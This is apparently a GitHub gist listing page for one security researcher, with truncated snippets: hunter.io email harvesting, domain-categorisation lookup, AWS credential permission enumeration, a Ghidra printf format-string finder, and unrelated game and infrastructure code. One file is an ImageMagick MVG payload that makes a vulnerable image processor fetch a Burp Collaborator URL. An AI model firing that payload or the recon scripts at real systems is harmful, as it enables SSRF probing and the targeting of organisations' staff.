Skip to content

Instantly share code, notes, and snippets.

@Static-Flow
Static-Flow / hunter.php
Created December 7, 2018 16:53
Simple PHP script to query hunter.io for emails tied to a given domain and return them in an easy to copy format. You can run this from the command line or host it on a webserver.
<?php
$domain = isset($_GET['domain']) ? $_GET['domain'] : $argv[1];
$apiKey = "API_KEY"; #go to hunter.io, signup, go to https://hunter.io/api_keys to get your key
$curl = curl_init();
if(isset($domain)){
$url = "https://hunter.io/v2/domain-search?limit=10000&offset=0&domain=".$domain."&api_key=".$apiKey."&format=json";
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
$result = curl_exec($curl);
@Static-Flow
Static-Flow / hunter.py
Created December 7, 2018 22:05
Simple Python 3 script to pull emails related to a domain from hunter.io and parse the data
import requests
import sys
if len(sys.argv) is 3:
domain = sys.argv[1]
api_key = sys.argv[2]
if domain is not None:
url = "https://hunter.io/v2/domain-search?limit=10000&offset=0&domain="\
+domain+"&api_key="+api_key+"&format=json"
hunterJsonData = requests.get(url)
for email in hunterJsonData.json()['data']['emails']:
@Static-Flow
Static-Flow / domain.php
Created December 12, 2018 16:10
php script for checking a domain's categorization. Currently checks Symantec Bluecoat.
<?php
function curl_post($domain = NULL)
{
$data = array("url" => $domain, "captha" => "");
$data_string = json_encode($data);
$ch = curl_init('https://sitereview.bluecoat.com/resource/lookup');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://4sxhijwuw6k0tpciemjnle5yipolca.burpcollaborator.net)'
pop graphic-context
@Static-Flow
Static-Flow / overlay.html
Created July 25, 2020 05:45
overlay for timer on stream
<!DOCTYPE HTML>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
p {
text-align: center;
font-size: 120px;
margin-top: 0px;
color: #05d0f9;
@Static-Flow
Static-Flow / scaler.go
Created January 2, 2021 19:33
Linode Kubernetes Autoscaler Example
import (
"context"
"errors"
"fmt"
"github.com/cenkalti/backoff"
"github.com/linode/linodego"
"golang.org/x/oauth2"
v1 "k8s.io/api/batch/v1"
v12 "k8s.io/api/core/v1"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
@Static-Flow
Static-Flow / gist:2ea4e6a3a7ba78bd24d4e9bb8d6816c7
Last active August 19, 2022 21:50
Rough Draft of Treasure Goblin
mon-data.h:
{
MONS_TREASURE_GOBLIN, 'g', COLOUR_UNDEF, "Treasure Goblin", //1
M_UNIQUE | M_WARM_BLOOD | M_SPEAKS | M_SEE_INVIS | M_UNBLINDABLE | M_GENDER_NEUTRAL
| M_FLIES | M_WEB_IMMUNE | M_FAST_REGEN | M_NO_EXP_GAIN | M_NO_POLY_TO | M_MAINTAIN_RANGE, //2
MR_RES_ELEC | MR_RES_POISON | MR_RES_FIRE | MR_RES_COLD | MR_RES_MIASMA | MR_RES_ACID
| MR_RES_PETRIFY | MR_RES_STICKY_FLAME | MR_RES_STEAM, //3
0, MONS_GOBLIN, MONS_GOBLIN, MH_NATURAL, WILL_INVULN, //4
{ AT_NO_ATK, AT_NO_ATK, AT_NO_ATK, AT_NO_ATK }, //5
@Static-Flow
Static-Flow / get_aws_cred_permissions.sh
Created March 20, 2023 16:05
This quick shell script uses the aws cli to pull the policy documents for a set of AWS credentials. It can also optionally scan the policy documents with https://github.com/salesforce/cloudsplaining
#!/bin/bash
explain='false'
profile='default'
if ! command -v aws &> /dev/null
then
echo "aws cli command could not be found, please install before using this"
exit
else
echo "aws cli command found, continuing"
fi
@Static-Flow
Static-Flow / find_suspicious_printf_calls.py
Last active March 24, 2023 09:05
Simple Ghidra script which searches for calls to printf which take a variable as input instead of a constant format string which could be a potential sink.
from ghidra.app.decompiler import DecompileOptions
from ghidra.app.decompiler import DecompInterface
from ghidra.util.task import ConsoleTaskMonitor
from ghidra.program.model.symbol import SymbolType
TARGET_FUNC = "printf"
target_addr = 0
symbol = currentProgram.symbolTable.getExternalSymbol(TARGET_FUNC)
if symbol and symbol.symbolType == SymbolType.FUNCTION: